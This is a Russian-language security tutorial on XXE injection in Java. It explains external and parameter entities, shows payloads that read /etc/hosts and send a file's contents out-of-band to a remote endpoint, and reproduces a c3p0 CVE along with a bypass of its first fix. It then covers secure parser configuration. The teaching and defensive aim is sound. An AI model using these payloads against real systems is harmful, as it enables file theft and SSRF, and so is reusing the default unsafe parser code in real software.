
В этой статье мы рассмотрим дефект безопасности XXE в контексте Java. Поговорим о причинах возникновения и возможных последствиях, посмотрим на примеры и, конечно, обсудим способы защиты.
Начнём с примера. Он синтетический, но зато легко позволит понять суть проблемы.
Примечание. Примеры из статьи тестировались на OpenJDK 21.0.8.
Допустим, есть следующий код для парсинга настроек в формате XML:
public static void processSettings(InputStream settingsStream) { ... DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(settingsStream); ... var licenseKey = getLicenseKey(document); if (!isKeyValid(licenseKey)) { reportError(String.format("'%s' license key is not valid.", licenseKey)); ... } ... }
Логика следующая:
-
создаётся XML-парсер;
-
он разбирает настройки, для чтения которых используется поток settingsStream;
-
дальше идёт проверка лицензионного ключа из настроек, и, если ключ не валидный — сообщение об этом выдаётся пользователю.
Если передать настройки, ключ в которых пройдёт проверку isKeyValid(), — ожидаемо не получим вывода. Пример такого файла:
<?xml version="1.0" encoding="utf-8"?> <AppSettings> <!-- ... --> <LicenseKey>A123-B456-C789</LicenseKey> <!-- ... --> </AppSettings>
Теперь передадим файл с невалидным ключом:
<?xml version="1.0" encoding="utf-8"?> <AppSettings> <!-- ... --> <LicenseKey>Obviously not a valid key</LicenseKey> <!-- ... --> </AppSettings>
И получим ожидаемый вывод:
'Obviously not a valid key' license key is not valid.
А теперь передадим XML-файл следующего вида:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE AppSettings [ <!ENTITY xxe SYSTEM "file:///etc/hosts" > ]> <AppSettings> <!-- ... --> <LicenseKey>&xxe;</LicenseKey> <!-- ... --> </AppSettings>
Выглядит более необычно, но всё ещё является валидным XML-файлом. Вывод:
'## # Host Database # # localhost is used to configure the loopback interface # when the system is booting. Do not change this entry. ## 127.0.0.1localhost 255.255.255.255broadcasthost ::1 localhost ' license key is not valid.
Можно заметить, что:
-
формат сообщения об ошибке — «‘%s’ license key is not valid.» — соблюдён;
-
при этом вместо лицензионного ключа было подставлено содержимое файла /etc/hosts.
То, что мы увидели — и есть XXE: XML-парсер считал прописанный в файле путь, и отдал содержимое этого файла наружу.
Забавно поэкспериментировать с такими вещами на локальной машине. Однако если ‘опасный’ парсинг происходит на удалённом сервере, а злоумышленник может подобным образом вытаскивать информацию с сервера наружу — приятного становится мало. Более того, можно обращаться не только к файлам, но и, например, к сетевым ресурсам, открывая возможность для других атак (SSRF). Впрочем, об этом мы поговорим чуть позже — сейчас остановимся именно на сути XXE.
XXE-инъекция (часто сокращается до XXE — акронима от XML eXternal Entities) — тип атаки на приложение, которое работает с данными в формате XML и основанными на нём. Например, XXE может эксплуатироваться при обработке SVG — формата векторных изображений — так как он также основан на XML.
XXE упоминается в различных перечнях дефектов безопасности, таких как CWE и OWASP Top 10:
-
CWE-611: Improper Restriction of XML External Entity Reference
-
OWASP Top 10:2021 — A05:2021 Security Misconfiguration (является подкатегорией)
-
OWASP ASVS 5.0.0 — V1.5 Safe Deserialization:
-
1.5.1: Verify that the application configures XML parsers to use a restrictive
configuration and that unsafe features such as resolving external entities are
disabled to prevent XML eXternal Entity (XXE) attacks. -
DTD validation should not be used, and framework DTD evaluation should be disabled, to avoid issues with XXE attacks against DTDs.
-
Если говорить о возможных рисках, можно выделить следующие:
-
утечки данных. На примере мы уже видели, что с помощью XXE можно попробовать прочитать и «вытащить» содержимое файлов. Более того — способы эксплуатации есть более изощрённые (с передачей содержимого как части HTTP/FTP-запроса) — пока что мы рассмотрели самый тривиальный;
-
SSRF (Server-Side Request Forgery). С помощью XXE можно заставить XML-парсер выполнять сетевые запросы от имени сервера (что уже само по себе опасно) с потенциальной возможностью раскрутить эту проблему безопасности дальше;
-
репутационные. Вряд ли кто-то будет рад оказаться в базах уязвимостей, типа CVE, NVD, GHAD и т. п.
Как же возникает XXE? Есть две обязательные составляющие:
-
небезопасно настроенный XML-парсер;
-
опасные данные.
Соответственно, если парсер настроен правильно, проблемы не будет, даже если он обрабатывает опасные данные. Обратное также верно: если опасно сконфигурированный парсер обрабатывает безопасные данные, проблемы не возникнет.
Отсюда вытекают два вопроса, которые нам и предстоит разобрать:
-
что собой представляют опасные данные?
-
какие XML-парсеры опасны?
Разберём каждый из пунктов.
Опасные XML-файлы
Опасные XML-файлы строятся на использовании внешних сущностей XML — XML external entities — от которых и происходит название дефекта безопасности.
Разберём пример XML из начала статьи, чтобы лучше понять, что там происходило:
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE example [ <!ENTITY extEntity SYSTEM "file:///etc/hosts"> ]> <example>&extEntity;</example>
Самое интересное для нас здесь — DTD (Document Type Definition) с объявлением внешней сущности extEntity.
DTD (секция <!DOCTYPE>) позволяет объявлять XML-сущности. При этом сущности могут быть:
-
внутренними;
-
внешними (general external entities);
-
параметризованными (parameter external entities).
Внутренние сущности в этой статье разбирать не будем. Хотя отметим, что через них тоже можно эксплуатировать дефекты безопасности. Делается это через создание XML-бомб — файлов, где внутренние сущности раскрываются друг через друга. XML-парсеры, разбирающие подобные файлы, начинают потреблять большое количество ресурсов, что может привести к DoS (Denial of Service).
General external entities
Начнём с general external entities. Для простоты будем называть их «внешними сущностями».
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE example [ <!ENTITY extEntity SYSTEM "file:///etc/hosts"> ]> <example>&extEntity;</example>
Здесь объявлена внешняя сущность extEntity, определённая через файл /etc/hosts. Когда парсер встретит использование этой сущности — &extEntity;, то подставит вместо неё содержимое файла /etc/hosts.
Важный момент, на который стоит обратить внимание — сущность определяется внутри <!DOCTYPE>, но используется уже в самом теле XML.
Сущность может указывать не только на файл, но и на директорию. В таком случае результатом её использования будет содержимое указанной директории.
Пример кода и XML:
String xml = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n" + "<!DOCTYPE example [\n" + " <!ENTITY extEntity SYSTEM \"file:///Users/username/xxe-demo-folder\">\n" + "]>\n" + "<example>&extEntity;</example>\n"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new ByteArrayInputStream(xml.getBytes())); System.out.println(document.getDocumentElement().getTextContent());
Содержимое соответствующей директории:

В результате исполнения кода получаем ожидаемый вывод — XML-парсер подставит вместо сущности содержимое директории:
.DS_Store app.config deps.json dist target.info
Более интересно, что значением сущности могут быть не только внутренние ресурсы, но и внешние. Рассмотрим этот момент подробнее.
Создадим удалённую точку доступа. Для демо можно использовать сервис beeceptor.com или настроить эндпоинты другим удобным способом.
Примечание. Если используете beeceptor — учтите, что точки доступа на нём публично доступные / редактируемые.
Допустим, у нас есть эндпоинт… /endpoint. На запрос он будет возвращать простое текстовое сообщение, которое будем расценивать как флаг успешного проведения XXE — XXE confirmed.

Рассмотрим фрагмент кода.. Он аналогичен примеру вышей с той разницей, что значением сущности будет путь до эндпоинта:
String xml = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n" + "<!DOCTYPE example [\n" + " <!ENTITY extEntity SYSTEM \"https://xxe-...free.beeceptor.com/endpoint\">\n" + "]>\n" + "<example>&extEntity;</example>\n"; DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new ByteArrayInputStream(xml.getBytes())); System.out.println(document.getDocumentElement().getTextContent());
В результате выполнения этого кода XML-парсер выполнит запрос к указанному эндпоинту и подставит в качестве значения сущности полученное значение. То есть вывод кода будет следующим:
XXE confirmed
При этом со стороны beeceptor.com, на котором мы и настроили эндпоинт, увидим пришедший запрос:

Ещё раз подчеркну основной момент из примера выше, который часто является неожиданным для тех, кто не знаком с XXE: опасные XML-парсеры могут выполнять сетевые запросы при обработке скомпрометированных XML-файлов. Со всеми вытекающими последствиями.
Parameter external entities
Выше мы говорили, что существуют не только general external entities, но и parameter external entities. Пришло время познакомиться с ними. Не будем углубляться в тонкости, однако отметим, что, пожалуй, самые интересные атаки строятся как раз на основе parameter entities.
Что же такое «параметризованные сущности»? Рассмотрим XML с их объявлением:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE example [ <!ENTITY % paramEntity SYSTEM "https://..."> %paramEntity; ]> <example></example>
В отличии от «классических» внешних сущностей параметризованные объявляются и используются с помощью символа %. Ещё одно отличие — параметризованные сущности используются прямо в DTD или выступают как части других сущностей, в то время как «классические» используются в теле самого XML:
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE example [ <!ENTITY extEntity SYSTEM "https://... "> ]> <example>&extEntity;</example>
При использовании параметризованных сущностей есть ряд ограничений, но это тема отдельного разговора. В первом приближении они не очень очевидны, и лучший вариант разобраться с ними — самостоятельно поэкспериментировать с параметризованными сущностями.
Рассмотрим на примере, для чего могут использоваться параметризованные сущности.
Допустим, у нас есть всё тот же код с опасным XML-парсером, выполняющим разбор небезопасных данных. Но в этот раз никакого явного возврата значения после разбора XML не будет.
Если модифицировать изначальный пример с лицензиями — получится что-то такое:
public static void processSettings(InputStream settingsStream) { ... DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(settingsStream); ... var licenseKey = getLicenseKey(document); if (!isKeyValid(licenseKey)) { // reportError(String.format("'%s' license key is not valid.", // licenseKey)); // Processing without error reporting ... } ... }
Результат разбора XML пользователю не возвращается. Можно ли в таком случае прочитать содержимое файла? Ответ — можно (хоть здесь и появляется большее количество ограничений).
Мы попробуем отправить содержимое файла… на эндпоинт.
Давайте немного упростим код, сделаем его более синтетическим и удобным для тестирования:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(new ByteArrayInputStream(xml.getBytes())); // No any output
Никакого вывода — только парсинг.
Теперь сделаем несколько допущений, которые сильно упростят нам задачу (для демо — простительно):
-
мы знаем путь до файла, содержимое которого хотим получить;
-
файл однострочный и не содержит спец. символов.
Информация по файлу:
-
путь: /Users/username/Projects/xxe-demo-folder
-
содержимое: Answer to the Ultimate Question of Life, the Universe, and Everything is 42
Теперь подготовим XML-файлы.
Основной, который будем отдавать приложению:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE r [ <!ELEMENT r ANY> <!ENTITY % extDTD SYSTEM "https://xxe-...free.beeceptor.com/externalDTD" > %extDTD; %param; %query; ]>
Параметризованная сущность extDTD ссылается на контролируемый нами ресурс. После выполнения запроса вместо %extDTD; будет подставлено значение, возвращённое при обращении по эндпоинту /externalDTD. Таким образом мы введём в DTD сущности param и query.
Содержимое, которое будет возвращаться при запросе по /externalDTD:
<!ENTITY % file SYSTEM "file:///Users/username/Projects/xxe-demo-folder/target.info"> <!ENTITY % param "<!ENTITY % query SYSTEM 'https://xxe-...free.beeceptor.com/xxe_endpoint?data=%file;'>">
Здесь мы вводим в область видимости несколько сущностей, встречавшихся ранее:
-
file — путь до файла, который мы хотим «вытащить». В месте использования будет подставлено содержимое файла;
-
param — при использовании введёт в область видимости новую сущность — query;
-
query — при использовании обратится к эндпоинту /xxe_endpoint. Обратите внимание, что в запросе используется сущность file (?data=%file;), то есть содержимое файла будет частью запроса.
После подстановки сущности extDTD и использования сущности исходный XML:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE r [ <!ELEMENT r ANY> <!ENTITY % extDTD SYSTEM "https://xxe-...free.beeceptor.com/externalDTD" > %extDTD; %param; %query; ]>
Превратится во что-то такое:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE r [ <!ELEMENT r ANY> <!ENTITY % extDTD SYSTEM "https://xxe-...free.beeceptor.com/externalDTD" > <!ENTITY % file SYSTEM "file:///Users/username/Projects/xxe-demo-folder/target.info"> <!ENTITY % query SYSTEM 'https://xxe-...free.beeceptor.com/xxe_endpoint?data=%file;'> %query; ]>
Дальше — парсер обрабатывает вызов %query;, выполняя запрос, частью которого выступает содержимое файла.

Со стороны эндпоинта /xxe_endpoint видим пришедший запрос:
/xxe_endpoint?data=Answer%20to%20the%20Ultimate%20Question%20of%20Life,%20the%20Universe,%20and%20Everything%20is%2042

То, что мы сейчас видели, называется OOB XXE (Out-of-Band XML eXternal Entity). С помощью таких XXE-атак можно извлекать с атакуемой машины информацию, даже если результат разбора XML не возвращается явным образом.
Понятно, что OOB XXE-атаки проводить намного сложнее. Кроме того, легко наткнуться на ограничения по извлекаемым файлам: спецсимволы (например, символы переноса строк) и т. п.
В примере выше мы использовали DocumentBuilder для парсинга XML. При обращении к внешнему ресурсу парсер доходит до использования HttpsURLConnectionImpl, внутри которого происходит проверка URL:
static URL checkURL(URL u) throws IOException { if (u != null) { if (u.toExternalForm().indexOf('\n') > -1) { throw new MalformedURLException("Illegal character in URL"); } } String s = IPAddressUtil.checkAuthority(u); if (s != null) { throw new MalformedURLException(s); } return u; }
Соответственно, при обработке сущности с запросом вида …/xxe_endpoint?data=%file; где %file; — содержимое многострочного файла, метод checkURL выкинет исключение, встретив символ \n. Можно найти рекомендации для проведения атаки использовать ftp:// вместо http:// и https://, но в современных реализациях FtpURLConnection также есть защита:
static URL checkURL(URL u) throws IllegalArgumentException { if (u != null) { if (u.toExternalForm().indexOf('\n') > -1) { Exception mfue = new MalformedURLException("Illegal character in URL"); throw new IllegalArgumentException(mfue.getMessage(), mfue); } } ... }
Тем не менее, сама атака с возможностью SSRF всё ещё остаётся реальна, так что стоит быть внимательнее.
Опасные XML-парсеры
Мы выяснили, что опасные XML-данные строятся на использовании внешних сущностей. Теперь переходим к парсерам — какие же XML-парсеры являются опасными? Не поверите, но… те, которые обрабатывают внешние XML-сущности. 🙂
При работе с XML-парсером стоит учитывать следующие моменты:
-
обрабатывает ли он DTD?
-
обрабатывает ли внешние сущности?
-
обрабатывает ли параметризованные сущности?
Отдельный вопрос — какие из перечисленных настроек заданы в парсере по умолчанию. Если полистать GitHub Advisory Database на предмет XXE в Java-проектах (фильтры по CWE-611 и сборочной системе Maven), можно заметить интересную особенность — многие дефекты безопасности связаны с парсерами из «коробки». И вероятность наступить на грабли достаточно высока, если:
-
используются XML-парсеры с настройками по умолчанию;
-
разработчик не знает, что им нужно специально выставлять безопасную конфигурацию.
Согласитесь, если не знать о специфике XXE, вряд ли в голову придёт мысль в духе: «Ага, мне нужно выключить обработку XML-парсером внешних сущностей, чтобы злоумышленник не смог выполнить SSRF«. Слишком неочевидно.
Ради интереса попросим ChatGPT написать код для парсинга XML-файлов. Получаем уже хорошо знакомый нам фрагмент:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(inputFile);
Как мы уже знаем, такой подход к парсингу XML опасен.
Причём, если задать ChatGPT прямой вопрос по поводу безопасности, он подтвердит, что парсер опасен, хотя изначально ничего об этом не упоминает:

Но чтобы прояснить у ChatGPT этот момент, нужно о нём знать — верно? А из коробки имеем, что имеем — код, который может «выстрелить».
Проблема актуальна не только для DocumentBuilder — с SAX-парсерами ситуация аналогична. Пример опасного кода:
String xml = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n" + "<!DOCTYPE r [\n" + " <!ENTITY % param SYSTEM \"https://xxe-...demo.free.beeceptor.com/xxe_endpoint?whatis=sax-param-xxe\">\n" + " %param;\n" + "]>\n" + "<r></r>\n"; SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser saxParser = factory.newSAXParser(); var handler = new DefaultHandler() { // do something }; saxParser.parse(new InputSource(new StringReader(xml)), handler);
В результате разбора XML SAXParser выполнит запрос, который можно отследить со стороны /xxe_endpoint.
Хочется отметить ещё один важный момент: SAXParserFactory, DocumentBuilderFactory скрывают конкретные экземпляры парсеров за абстрактными типами SAXParser и DocumentBuilder. В зависимости от конкретных реализаций фабрик и парсеры могут быть безопасными. Однако более вероятно обратное. Всё это порождает только ещё больше путаницы.
Обобщая, опасны те XML-парсеры, которые:
-
парсят DTD;
-
обрабатывают:
-
external general entities;
-
external parameter entities.
-
Соответственно, чтобы обезопасить парсер, нужно выключать процессинг DTD, а порой — и не только. Если DTD всё же нужен, следует максимально ограничивать обработку сущностей.
Рекомендации по безопасному конфигурированию XML-парсеров можно посмотреть в статье OWASP XML External Entity Prevention Cheat Sheet. Там приведён неплохой сборник безопасных настроек как разных парсеров для Java, так и других языков.
Выше мы неоднократно смотрели на DocumentBuilder — как сделать его безопасным?
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true); dbf.setXIncludeAware(false); ...
Теперь при попытке разобрать XML с использованием внешних сущностей, получим исключение:
[Fatal Error] :2:10: DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true. org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
Аналогичным образом можно выставить настройки и для SAXParser:
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setXIncludeAware(false);
С такими настройками парсер выбросит исключение, когда при попытке обработки внешней сущности:
org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 10; External Entity: Failed to read external document 'xxe_endpoint?whatis=sax-param-xxe', because 'https' access is not allowed due to restriction set by the accessExternalDTD property.
Совет в целом — лучше отключить чуть больше возможностей разбора XML, чем чуть меньше, и оставить потенциальную лазейку злоумышленникам. И давайте посмотрим, почему.
c3p0: CVE-2018-20433
Рассмотрим пример реальной уязвимости, найденной в форке проекта c3p0 (хотя в оригинале она также была):
-
затронутые версии: <= 0.9.5.2
Мы говорили, что нужно быть аккуратными с настройками XML-парсеров по умолчанию. Не менее аккуратными стоит быть с внешними библиотеками, которые проводят парсинг XML — не факт, что они не обрабатывают внешние сущности.
Как проверим наличие проблемы? Передадим библиотеке вредоносный XML, в котором объявим сущность с обращением к нашему эндпоинту. Со стороны эндпоинта будем следить за запросами — если пришёл, значит парсер обработал XML-сущности, и нам удалось выполнить XXE.
Проблемный метод — C3P0ConfigXmlUtils.extractXmlConfigFromInputStream. Вызовем его, передав вредоносный XML:
var filePath = "/path/to/xxe.xml"; InputStream xmlConfigStream = new FileInputStream(filePath); var config = C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(xmlConfigStream);
В xxe.xml объявляем внешнюю сущность через наш ресурс:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE c3p0-config [ <!ENTITY xxe SYSTEM "https://xxe-...free.beeceptor.com/c3p0-endpoint?whatis=xxetest"> ]> <c3p0-config>&xxe;</c3p0-config>
Выполняем код, и… видим на нашем эндпоинте запрос. Значит, XXE сработала.

Давайте посмотрим, что находится под капотом разбора конфига — взглянем на код extractXmlConfigFromInputStream:
public static C3P0Config extractXmlConfigFromInputStream(InputStream is) throws Exception { DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance(); DocumentBuilder db = fact.newDocumentBuilder(); Document doc = db.parse(is); return extractConfigFromXmlDoc(doc); }
Что мы видим? Используется DocumentBuilderFactory с настройками по умолчанию. Мы уже знаем, настройки по умолчанию для DocumentBuilderFactory — опасные, так как разрешают обработку DTD и внешних сущностей. Отсюда и последствия.
В версии 0.9.5.3 этот код поправили:
public static C3P0Config extractXmlConfigFromInputStream(InputStream is, boolean expandEntityReferences) throws Exception { DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance(); fact.setExpandEntityReferences(expandEntityReferences); DocumentBuilder db = fact.newDocumentBuilder(); Document doc = db.parse(is); return extractConfigFromXmlDoc(doc); }
Теперь при разборе конфига нужно явно указывать — раскрывать ли внешние сущности. За это отвечает параметр expandEntityReferences. Соответствующим образом меняется конфигурация и DocumentBuilderFactory.
Протестируем!
Наш вызов слегка изменяется — добавляется второй параметр:
var config = C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(xmlConfigStream, false);
Передадим тот же XML-файл, что и в прошлый раз.
В результате исполнения кода никаких исключений не выбрасывается, но и на сервер запрос не приходит:

Выходит, защита сработала? Похоже на то! Однако у нас же ещё есть параметризованные сущности. Попробуем использовать их.
Поменяем XML, который будем передавать на вход, заменив обычные внешние сущности на параметризованные. Также заменим значение параметра whatis:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE c3p0-config [ <!ENTITY % xxe SYSTEM "https://xxe-...free.beeceptor.com/c3p0-endpoint?whatis=xxe_param_test"> %xxe; ]> <c3p0-config></c3p0-config>
Отдаём на парсинг этот файл, и видим, что запрос снова прошёл!

Выходит, защитились недостаточно. Это как раз к разговору о том, что лучше отключить больше возможностей парсинга, чем меньше.
В версии v0.9.5.5 код поменяли ещё раз, он стал выглядеть так:
public static C3P0Config extractXmlConfigFromInputStream(InputStream is, boolean usePermissiveParser) throws ... { DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance(); if (!usePermissiveParser) { cautionDocumentBuilderFactory(fact); } DocumentBuilder db = fact.newDocumentBuilder(); Document doc = db.parse(is); return extractConfigFromXmlDoc(doc); }
Пользователю всё так же через параметр нужно указать, насколько безопасный парсер использовать. Настройками теперь занимается метод cautionDocumentBuilderFactory:
private static void cautionDocumentBuilderFactory(DocumentBuilderFactory dbf) { attemptSetFeature( dbf, "http://apache.org/xml/features/disallow-doctype-decl", true); attemptSetFeature( dbf, "http://xerces.apache.org/xerces-j/features.html#external-general-entities", false); attemptSetFeature( dbf, "http://xerces.apache.org/xerces2-j/features.html#external-general-entities", false); attemptSetFeature( dbf, "http://xml.org/sax/features/external-general-entities", false); attemptSetFeature( dbf, "http://xerces.apache.org/xerces-j/features.html#external-parameter-entities", false); attemptSetFeature( dbf, "http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities", false); attemptSetFeature( dbf, "http://xml.org/sax/features/external-parameter-entities", false); attemptSetFeature( dbf, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); }
В этот раз метод отключает и DTD, и внешние сущности, и параметризованные, и даже немного больше. Всё по заветам OWASP, и даже немного сверху.
Теперь при попытке распарсить XML с объявлением внешних сущностей, XML-парсер выбросит исключение:
[Fatal Error] :2:10: DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true. org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
Вывод — лучше отключить немного больше настроек парсинга, чем немного меньше.
Защита от XXE
Мы говорили о защите от XXE в контексте парсеров. Повторим и дополним.
Настраивайте XML-парсеры безопасным образом
Чем сильнее будет ограничен XML-парсер, тем лучше с точки зрения безопасности:
-
отключайте обработку DTD;
-
если DTD нужен — отключайте обработку XML-сущностей;
-
если отключаете обработку внешних XML-сущностей, не забывайте выключить как general external entities, так и parameter external entities;
-
если внешние сущности обрабатывать всё же нужно, проверяйте, что и как обрабатываете.
Особое внимание уделяйте XML-парсерам с настройками по умолчанию, так как в Java парсеры с настройками по умолчанию часто опасны.
Рекомендации по работе с конкретными XML-парсерами собраны на странице XML External Entity Prevention Cheat Sheet.
Используйте SAST-решения
SAST-инструменты (Static Application Security Testing) проводят анализ кода без его исполнения и также могут помочь в детекте потенциальных XXE.
Для поиска XXE анализаторы используют taint-анализ, который отслеживает попадание «недоверенных» данных в приложение, их распространение и возможности попадания в «стоки».
При этом:
-
«недоверенными» считаются те данные, которые попадают в приложение извне и, как следствие, могут быть быть использованы для эксплуатации дефектов безопасности. Примеры «недоверенных данных» — содержимое файлов, пользовательский ввод и т.п.;
-
«стоки» — точки приложения, которые могут привести к возникновению дефекта безопасности, при попадании в них опасных данных.
Это отлично ложится на те знания об XXE, которые мы получили ранее:
-
«недоверенные» данные -> опасные XML;
-
«стоки» -> опасные XML-парсеры.
Если SAST отследит, что данные пришли из внешнего окружения и разбираются опасным XML-парсером, то должен выдать предупреждение о возможной XXE.

Понятно, что область применения SAST-решений не ограничивается одним только поиском XXE, но как частный случай противодействия проблеме — вполне может использоваться.
Используйте SCA-решения
SCA-решения (Software Composition Analysis) ищут используемые приложением компоненты с уязвимостями. Так как сложно представить современное приложение, не использующее внешних библиотек, вопрос их безопасности также становится актуальным. При этом важно знать об уязвимостях не только в прямых зависимостях (используемых приложением напрямую), но и транзитивных (зависимостей, которые используются зависимостями).
SCA-решения закрывают эту нишу — предупреждают об использовании опасных библиотек, пакетов и т. п.
Пример из этой статьи, который может быть закрыт SCA-решением — использование уязвимых версий c3p0.
Выстраивайте процессы безопасной разработки
Мы упомянули SAST и SCA в контексте защиты от XXE. Поиск потенциальных проблем с XXE — это очень частные случаи использования этих инструментов. При выборе SAST и SCA нужно отталкиваться от экосистемы проекта (или скорее проектов), используемых языков, стоимости, скорости работы, удобства интеграции и т. п.
Более того, для полноценной защиты (от XXE, в частности) нужно выстраивать процессы безопасной разработки, SAST, SCA использовать вместе, а ещё прикрутить какой-нибудь WAF (Web Application Firewall) для анализа поступающих запросов и защиты от потенциальных XXE, пропущенных SAST и SCA.
Итоги
Мы кратко разобрали XXE в контексте Java, причины появления подобных дефектов безопасности и способы борьбы с ними.
Не забывайте проверять точки парсинга XML и следите за тем, какие парсеры используются. Особое внимание — внешним парсерам и парсерам с настройками по умолчанию.
Если захочется посмотреть на большее количество реальных уязвимостей в Java приложениях — советую полистать GitHub Advisory Database с фильтрами по Maven и CWE-611 (ссылка). Из интересного — в базе уже есть XXE от 2025 года — свежачок.

Часто записи из GitHub Advisory Database сопровождаются ссылками на исходный код проекта и на фикс уязвимости. Порой в ссылке на issue или в самой записи можно найти и POC. Всё это помогает лучше вникнуть в тему и разобраться с сутью проблемы.
Так что — удачи в дальнейшем изучении, и безопасного кода!
Примечание от команды Axiom JDK
В реальных продуктах картина может быть безопаснее, чем выглядит в учебных примерах.
В Axiom JDK вопросам безопасной обработки XML уделяется внимание уже на стадии проектирования решений. Например, в сервере приложений Libercat изначально реализованы меры защиты от распространённых атак, включая XXE.
Один из результатов регулярных проверок, которые проводят наши специалисты по безопасности, — подтверждение того, что в SOAP-интерфейсах Libercat по умолчанию блокируется использование DTD в XML-документах. Это означает, что попытка отправить вредоносный XML с внешними сущностями не приведёт к обработке запроса на сервере.
Разумеется, безопасность требует комплексного подхода и анализа всех XML-источников, но это хороший пример того, как зрелые платформы стремятся минимизировать риски на архитектурном уровне. А вот при разработке “на чистой Java” без использования зрелых библиотек вероятность попасть на XXE-грабли действительно выше.
ссылка на оригинал статьи https://habr.com/ru/articles/934388/
Добавить комментарий